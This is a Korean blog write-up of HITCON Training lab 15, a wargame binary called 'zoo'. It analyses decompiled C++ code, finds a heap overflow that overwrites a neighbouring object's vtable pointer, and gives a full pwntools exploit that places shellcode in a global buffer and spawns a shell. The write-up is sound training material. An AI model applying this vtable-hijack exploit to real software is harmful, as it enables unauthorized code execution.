tmxklab

hitcon training [LAB 15] 본문

War Game/hitcon training

hitcon training [LAB 15]

tmxk4221 2020. 8. 2. 22:10

1. 문제

 

1) mitigation확인

 

2) 문제 확인

 

3) 코드흐름 파악

3-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rax
  int v4; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  std::operator<<<std::char_traits<char>>(&std::cout, "Name of Your zoo :");
  read(0, &nameofzoo, 0x64uLL);
  while ( 1 )
  {
    menu();
    std::operator<<<std::char_traits<char>>(&std::cout, "Your choice :");
    std::istream::operator>>(&edata, &v4);
    std::ostream::operator<<(&std::cout, &std::endl<char,std::char_traits<char>>);
    switch ( v4 )
    {
      case 1:
        adddog();
        break;
      case 2:
        addcat();
        break;
      case 3:
        listen();
        break;
      case 4:
        showinfo();
        break;
      case 5:
        remove();
        break;
      case 6:
        _exit(0);
        return;
      default:
        v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Invaild choice");
        std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
        break;
    }
  }
}
  • nameofzoo(전역 변수)에 0x64bytes까지 입력 값을 받는다.

  • v4에 입력을 받고 switch문을 실행한다.

 

 

3-2) adddog()

unsigned __int64 adddog(void)
{
  __int64 v0; // rbx
  unsigned int v2; // [rsp+Ch] [rbp-74h]
  __int64 v3; // [rsp+10h] [rbp-70h]
  __int64 v4; // [rsp+18h] [rbp-68h]
  char v5; // [rsp+20h] [rbp-60h]
  char v6; // [rsp+40h] [rbp-40h]
  unsigned __int64 v7; // [rsp+68h] [rbp-18h]

  v7 = __readfsqword(0x28u);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v5);
  std::operator<<<std::char_traits<char>>(&std::cout, "Name : ");
  std::operator>><char,std::char_traits<char>,std::allocator<char>>(&edata, &v5);
  std::operator<<<std::char_traits<char>>(&std::cout, "Weight : ");
  std::istream::operator>>(&edata, &v2);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v6, &v5);
  v0 = operator new(0x28uLL);
  Dog::Dog(v0, &v6, v2);
  v4 = v0;
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v6);
  v3 = v4;
  std::vector<Animal *,std::allocator<Animal *>>::push_back(&animallist, &v3);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v5);
  return __readfsqword(0x28u) ^ v7;
}

 

3-3) addcat()

unsigned __int64 addcat(void)
{
  __int64 v0; // rbx
  unsigned int v2; // [rsp+Ch] [rbp-74h]
  __int64 v3; // [rsp+10h] [rbp-70h]
  __int64 v4; // [rsp+18h] [rbp-68h]
  char v5; // [rsp+20h] [rbp-60h]
  char v6; // [rsp+40h] [rbp-40h]
  unsigned __int64 v7; // [rsp+68h] [rbp-18h]

  v7 = __readfsqword(0x28u);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v5);
  std::operator<<<std::char_traits<char>>(&std::cout, "Name : ");
  std::operator>><char,std::char_traits<char>,std::allocator<char>>(&edata, &v5);
  std::operator<<<std::char_traits<char>>(&std::cout, "Weight : ");
  std::istream::operator>>(&edata, &v2);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v6, &v5);
  v0 = operator new(0x28uLL);
  Cat::Cat(v0, &v6, v2);
  v4 = v0;
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v6);
  v3 = v4;
  std::vector<Animal *,std::allocator<Animal *>>::push_back(&animallist, &v3);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v5);
  return __readfsqword(0x28u) ^ v7;
}
  • 위에 adddog와 같은 로직이다. 다만 여기서는 cat객체를 생성한다.

 

3-4) listen()

unsigned __int64 listen(void)
{
  __int64 v0; // rax
  unsigned __int64 v1; // rbx
  __int64 v2; // rax
  _QWORD *v3; // rax
  unsigned int v5; // [rsp+4h] [rbp-1Ch]
  unsigned __int64 v6; // [rsp+8h] [rbp-18h]

  v6 = __readfsqword(0x28u);
  if ( std::vector<Animal *,std::allocator<Animal *>>::size(&animallist) == 0 )
  {
    v0 = std::operator<<<std::char_traits<char>>(&std::cout, "no any animal!");
    std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  }
  else
  {
    std::operator<<<std::char_traits<char>>(&std::cout, "index of animal : ");
    std::istream::operator>>(&edata, &v5);
    v1 = v5;
    if ( v1 >= std::vector<Animal *,std::allocator<Animal *>>::size(&animallist) )
    {
      v2 = std::operator<<<std::char_traits<char>>(&std::cout, "out of bound !");
      std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    }
    else
    {
      v3 = (_QWORD *)std::vector<Animal *,std::allocator<Animal *>>::operator[](&animallist, v5);
      (**(void (__fastcall ***)(_QWORD))*v3)(*v3);
    }
  }
  return __readfsqword(0x28u) ^ v6;
}
  • animalist의 크기가 0이아닌 경우 인덱스에 대한 입력 값을 v5(=v1)에 받는다.

  • v1이 animalist의 크기보다 크거나 같지 않으면 animalist 인덱스 v5의 위치에 있는 요소에 대한 참조를 v3에 반환하고 (**(void (__fastcall ***)(_QWORD))*v3)(*v3)을 호출한다.

 

3-5) showinfo()

unsigned __int64 showinfo(void)
{
  __int64 v0; // rax
  unsigned __int64 v1; // rbx
  __int64 v2; // rax
  _QWORD *v3; // rax
  unsigned int v5; // [rsp+4h] [rbp-1Ch]
  unsigned __int64 v6; // [rsp+8h] [rbp-18h]

  v6 = __readfsqword(0x28u);
  if ( std::vector<Animal *,std::allocator<Animal *>>::size(&animallist) == 0 )
  {
    v0 = std::operator<<<std::char_traits<char>>(&std::cout, "no any animal!");
    std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  }
  else
  {
    std::operator<<<std::char_traits<char>>(&std::cout, "index of animal : ");
    std::istream::operator>>(&edata, &v5);
    v1 = v5;
    if ( v1 >= std::vector<Animal *,std::allocator<Animal *>>::size(&animallist) )
    {
      v2 = std::operator<<<std::char_traits<char>>(&std::cout, "out of bound !");
      std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    }
    else
    {
      v3 = (_QWORD *)std::vector<Animal *,std::allocator<Animal *>>::operator[](&animallist, v5);
      (*(void (__fastcall **)(_QWORD))(*(_QWORD *)*v3 + 8LL))(*v3);
    }
  }
  return __readfsqword(0x28u) ^ v6;
}
  • animalist의 크기가 0이아닌 경우 인덱스에 대한 입력 값을 v5(=v1)에 받는다.

  • v1이 animalist의 크기보다 크거나 같지 않으면 animalist 인덱스 v5의 위치에 있는 요소에 대한 참조를 v3에 반환하고 ((void (__fastcall **)(_QWORD))((_QWORD *)*v3 + 8LL))(*v3)을 호출한다.

 

 

3-6) remove()

unsigned __int64 remove(void)
{
  __int64 v0; // rax
  unsigned __int64 v1; // rbx
  __int64 v2; // rax
  void **v3; // rax
  __int64 v4; // rbx
  __int64 v5; // rax
  unsigned int v7; // [rsp+Ch] [rbp-24h]
  __int64 v8; // [rsp+10h] [rbp-20h]
  unsigned __int64 v9; // [rsp+18h] [rbp-18h]

  v9 = __readfsqword(0x28u);
  if ( std::vector<Animal *,std::allocator<Animal *>>::size(&animallist) == 0 )
  {
    v0 = std::operator<<<std::char_traits<char>>(&std::cout, "no any animal!");
    std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  }
  else
  {
    std::operator<<<std::char_traits<char>>(&std::cout, "index of animal : ");
    std::istream::operator>>(&edata, &v7);
    v1 = v7;
    if ( v1 >= std::vector<Animal *,std::allocator<Animal *>>::size(&animallist) )
    {
      v2 = std::operator<<<std::char_traits<char>>(&std::cout, "out of bound !");
      std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    }
    else
    {
      v3 = (void **)std::vector<Animal *,std::allocator<Animal *>>::operator[](&animallist, v7);
      operator delete(*v3);
      v4 = v7;
      v8 = std::vector<Animal *,std::allocator<Animal *>>::begin(&animallist);
      v5 = __gnu_cxx::__normal_iterator<Animal **,std::vector<Animal *,std::allocator<Animal *>>>::operator+(&v8, v4);
      std::vector<Animal *,std::allocator<Animal *>>::erase(&animallist, v5);
    }
  }
  return __readfsqword(0x28u) ^ v9;
}
  • animalist의 크기가 0이아닌 경우 인덱스에 대한 입력 값을 v7(=v1=v4)에 받는다.

  • v1이 animalist의 크기보다 크거나 같지 않으면 animalist 인덱스 v7의 위치에 있는 요소에 대한 참조를 v3에 반환하고 delete연산자를 통해 v3의 힙 영역을 해제한다.

  • std::vector::begin을 통해 animalist의 첫 번쨰 요소를 v8에 반환하고

__int64 __fastcall __gnu_cxx::__normal_iterator<Animal **,std::vector<Animal *,std::allocator<Animal *>>>::operator+(_QWORD *a1, __int64 a2)
{
  __int64 v3; // [rsp+10h] [rbp-20h]
  __int64 v4; // [rsp+20h] [rbp-10h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  v4 = 8 * a2 + *a1;
  __gnu_cxx::__normal_iterator<Animal **,std::vector<Animal *,std::allocator<Animal *>>>::__normal_iterator(&v3, &v4);
  return v3;
}
  • **gnu_cxx::**normal_iterator::operator+를 실행할 때 v8, v4(인덱스)를 인자 값으로 넘겨주고(v8=a1, v4=a2) a1이 가리키는 곳으로부터 8 * a2를 더한 값을 v4에 저장하고 다시 v3에 할당하여 반환한다.

  • std::vector::erase를 통해 animalist에서 v5 요소를 제거한다.

 

 

전역 변수)

  • nameofzoo : 0x605420

  • animalist : 0x605490

 


2. 접근방법

 

1) 정리

  • adddog(), addcat을 통해 각각 dog객체, cat객체를 생성하여 animalist에 추가한다.

  • listen()를 통해 animalist의 원소를 찾아(dog객체든 cat객체든) (**(void (__fastcall ***)(_QWORD))*v3)(*v3)를 호출하는데

  • 저기서 결국 0x401b0a(Dog객체의 speak함수)가 실행된다.

  • showinf()를 통해 animalist의 원소를 찾아 ((void (__fastcall **)(_QWORD))((_QWORD *)*v3 + 8LL))(*v3)를 호출하는데

  • 결국 0x401c9e(Cat 객체의 info함수)가 실행된다.

 

2) Debugging - Animal, Dog, Cat 객체 구성

  • addDog(), addCat() 각각 2번 호출하여 총 4개의 객체 생성

  • Animallist (0x605490) : 0x617cf0

    • Dog 객체 → 0x617c20, 0x617cc0

    • Cat 객체 → 0x617c70, 0x617d20

  • Dog객체(0x617c20)

    • 0x617c20 : 0x403140(Vtable for Dog)

    • 0x617c28 : "a1"(name)

    • 0x617c40 : 0x64(weight)

  • Vtable for Dog(0x403140)

    • 0x403140 : 0x401b0a(Dog::speak())

    • 0x403148 : 0x401b36(Dog::info())

 

3) 취약점이 발생하는 곳

3-1) 정상적인 입력으로 Dog 객체 2개 생성한 경우

  • name에 각각 "AAA...", "BBB..."를 입력하여 생성

  • 객체 당 한 개의 chunk가 생성되며 바로 밑에는 vector에 대한 chunk 1개씩 생성된다.

 

3-2) 비정상적인 입력으로 Dog 객체 1개 생성한 경우

  • 비정상적인 입력이라고 말하기는 좀 이상하지만 각 객체 당 size값이 0x30인 1개의 Chunk가 생성되는데 Name값에 Chunk범위를 넘어서는 값 25bytes를 입력하였다.

  • 마지막 0x617d68에 Top Chunk의 size값에 0x47 1byte가 들어 간 것을 알 수 있음(Overflow발생)

 

여기서 알 수 있는 점)

  • 한 개의 객체가 생성될 때마다 Top Chunk바로 위에 생성된다.

  • 한 개의 Chunk에 Vtable주소 값과 name, weight값을 포함한다.

  • listen() 또는 showinfo()에서 vtable주소 값을 참조하여 각 객체의 멤버 함수를 호출한다.

  • 객체가 생성될 때 name값과 weight값을 파라미터로 받는데 name값을 입력할 때 chunk범위를 넘어서 입력을 받을 수 있다.

  • 객체가 생성될 때 항상 동일한 크기의 Chunk가 할당된다.(0x30)

  • nameofzoo 전역 변수에 100bytes까지 입력을 받을 수 있다.

 

공격 프로세스)

  • nameofzoo에 쉘 코드를 넣는다.

  • 2개의 Chunk를 생성한다.

  • 첫 번째 Chunk를 제거한다.(동일한 크기의 chunk가 할당되므로 다시 재할당 요구를 하면 다시 첫 번째 Chunk를 사용할 거임)

  • 다시 Chunk를 생성한다. 이 때, name값에서 overflow를 발생하여 2번째로 생성된 Chunk에 Vtable주소 값 대신에 nameofzoo의 주소 값을 넣는다.

  • listen()또는 showinfo()를 호출한다. (index = 0)

 


3. 풀이

 

1) 주의할 점 1

nameofzoo의 주소 값은 0x605420인데 0x20은 공백(SP)을 의미하므로 cin에서 입력할 때 들어가지 않는다.

 

해결 : 쉘 코드를 0x605420에 넣지 않고 마지막 하위 1byte가 0x20이 포함되지 않도록 0x60542?부터 쉘 코드를 저장

 

2) 주의할 점 2

  • 위 사진을 보면 하위 1byte가 포함되지 않도록 0x605424부터 쉘 코드를 넣고 listen함수를 실행했을 때 모습이다.

  • call rdx를 보면 rdx에 쉘 코드의 주소 값이 아니라 쉘 코드 값이 들어있어서 실행하게 되면 세그먼테이션 폴트가 발생한다.

해결 : 페이로드 구성에 주소 값을 한 번더 참조할 수 있도록 페이로드에 nameofzoo의 주소 값을 추가하여 넣는다.

 

페이로드 :

[ nop(0x90) * 4 ] + [ p64(nameofzoo + 4 + 8) ] + [ shellcode ]

 

 

3) 익스 코드

from pwn import *

context(log_level="debug", arch="amd64", os="linux")

p = process("./zoo")
e = ELF("./zoo")
#gdb.attach(p)
nameofzoo = e.symbols['nameofzoo']

log.info("nameofzoo addr : "+hex(nameofzoo))

def adddog(name, weight):
	p.sendlineafter(":", str(1))
	p.sendlineafter(": ", name)
	p.sendlineafter(": ", str(weight))


def remove(idx):
	p.sendlineafter(":", str(5))
	p.sendlineafter(": ", str(idx))


def listen(idx):
	p.sendlineafter(":", str(3))
	p.sendlineafter(": ", str(idx))


shellcode = "\x90"*4
nameofzoo += 4
shellcode += p64(nameofzoo+8)
shellcode += asm(shellcraft.amd64.linux.sh())

# 1. Insert shellcode
p.sendafter(":", shellcode) 

# 2. Create Two Dog
adddog("A", 10)
adddog("B", 10)

# 3. Remove First Dog
remove(0)

payload = "C"*72
payload += p64(nameofzoo)

# 4. change vtable addr
adddog(payload, 10)

# 5. Execute shellcode
listen(0)

p.interactive()

 

4) 실행결과


4. References

1) c++ 관련 자료

'War Game > hitcon training' 카테고리의 다른 글

hitcon training [LAB 14]  (0) 2020.07.31
hitcon training [LAB 13]  (0) 2020.07.28
hitcon training [LAB 12]  (0) 2020.07.27
hitcon training [LAB 11]  (0) 2020.07.25
hitcon training [LAB 10]  (0) 2020.07.21
Comments